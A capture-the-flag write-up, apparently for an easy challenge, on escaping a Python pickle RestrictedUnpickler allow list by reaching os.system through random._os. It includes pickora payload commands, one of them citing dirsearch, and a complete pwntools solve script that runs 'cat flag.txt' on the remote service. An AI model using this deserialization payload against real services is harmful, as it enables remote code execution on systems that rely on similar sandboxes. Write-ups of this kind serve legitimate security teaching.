Summary

The challenge was categorized as easy and involved the exploitation of the Python deserialization mechanism (Pickle) with a protection mechanism implemented using an allow list of classes that can be deserialized. The goal was to bypass the protection and achieve remote code execution to read the flag.txt file located in the same directory.

First Steps

The code consists of two source files: app.py and sandbox.py. In the app.py, a console-based application is implemented with a 3-option menu:

1. View current members
2. Register new member
3. Exit

The app.py file includes the definition of the Phreaks class as follows:

class Phreaks:
    def __init__(self, hacker_handle, category, id):
        self.hacker_handle = hacker_handle
        self.category = category
        self.id = id

The list of serialized Phreaks objects is hardcoded in the app.py file. The Register new member option enables users to add serialized objects to this list.

When selecting the View current members option, the list of objects is deserialized and displayed in the console.

Sandbox Overview

Serialization and deserialization are handled by pickle and unpickle methods as defined in the sandbox.py file:

def unpickle(data):
    return RestrictedUnpickler(BytesIO(b64decode(data))).load()
    
def pickle(obj):
    return b64encode(_pickle.dumps(obj))

The deserialization process is “sandboxed” using the RestrictedUnpickler class. This class restricts deserialization to specific modules, such as __main__ and app, while prohibiting everything from the __builtins__ module, including eval.

ALLOWED_PICKLE_MODULES = ['__main__', 'app']
UNSAFE_NAMES = ['__builtins__']

class RestrictedUnpickler(_pickle.Unpickler):
    def find_class(self, module, name):
        print(module, name)
        if (module in ALLOWED_PICKLE_MODULES and not any(name.startswith(f"{name_}.") for name_ in UNSAFE_NAMES)):
            print(f"[*] Loading {module} : {name}")
            return super().find_class(module, name)
        else:
            print(f"[!] Illegal module: {module} : {name}")
        raise _pickle.UnpicklingError()

Bypassing Sandbox

First, it is essential to comprehend the current functionalities available and imported in app.py:

from sandbox import unpickle, pickle
import random

Initially, there seems to be nothing of interest. However, upon closer inspection of the random module, it becomes apparent that it imports os under the alias _os:

import os as _os

Consequently, we can leverage the command execution function using random._os.system(). The challenge lies in encapsulating this within the serialized object.

Fortunately, the RestrictedUnpickler is not unique to this challenge alone. It features in various open-source projects, such as dirsearch, which has an identified issue #1073. Leveraging examples from these sources, one can construct tailored commands:

python pickora.py -c "GLOBAL('lib.core.settings', 'os.system')('id')"

To adapt this for our scenario:

python pickora.py -c "GLOBAL('app', 'random._os.system')('cat flag.txt')" | base64 -w0

Pickora proves invaluable for devising serialized Python payloads. Embedding the serialized payload into the application (option 2 from the menu) and subsequently displaying the list of members with the custom payload at the end (option 1 from the menu) concludes the process.

Full Solution

Here is an automated solution built with pwntools framework. It takes IP and PORT as command line arguments, for example:

python solve.py 10.10.10.1 1234
from pwn import *
from pickora.compiler import Compiler
import pickle
from base64 import b64encode 
import sys


compiler = Compiler(protocol=pickle.DEFAULT_PROTOCOL, optimize=False, extended=True)

source = """
GLOBAL('app', 'random._os.system')('cat flag.txt')
"""

payload = compiler.compile(source)
payload_encoded = b64encode(payload)
p = remote(sys.argv[1], sys.argv[2])

info(p.recv().decode("utf-8")) #initial instructions

info("Sending `2` - adding new malformed member")
p.sendline(b"2")

info(p.recv().decode("utf-8")) # next instructions

info("Sending payload...")
info(f"Source: {source}")
info(f"Payload:{payload_encoded.decode('ascii')}")
info(f"Raw payload: \n{hexdump(payload)}")
p.sendline(payload_encoded)

info(p.recv().decode("utf-8")) # next instructions

info("Sending `1` - listing all memebers")
p.sendline(b"1")
info(p.recvuntil("}").decode("utf-8")) # flag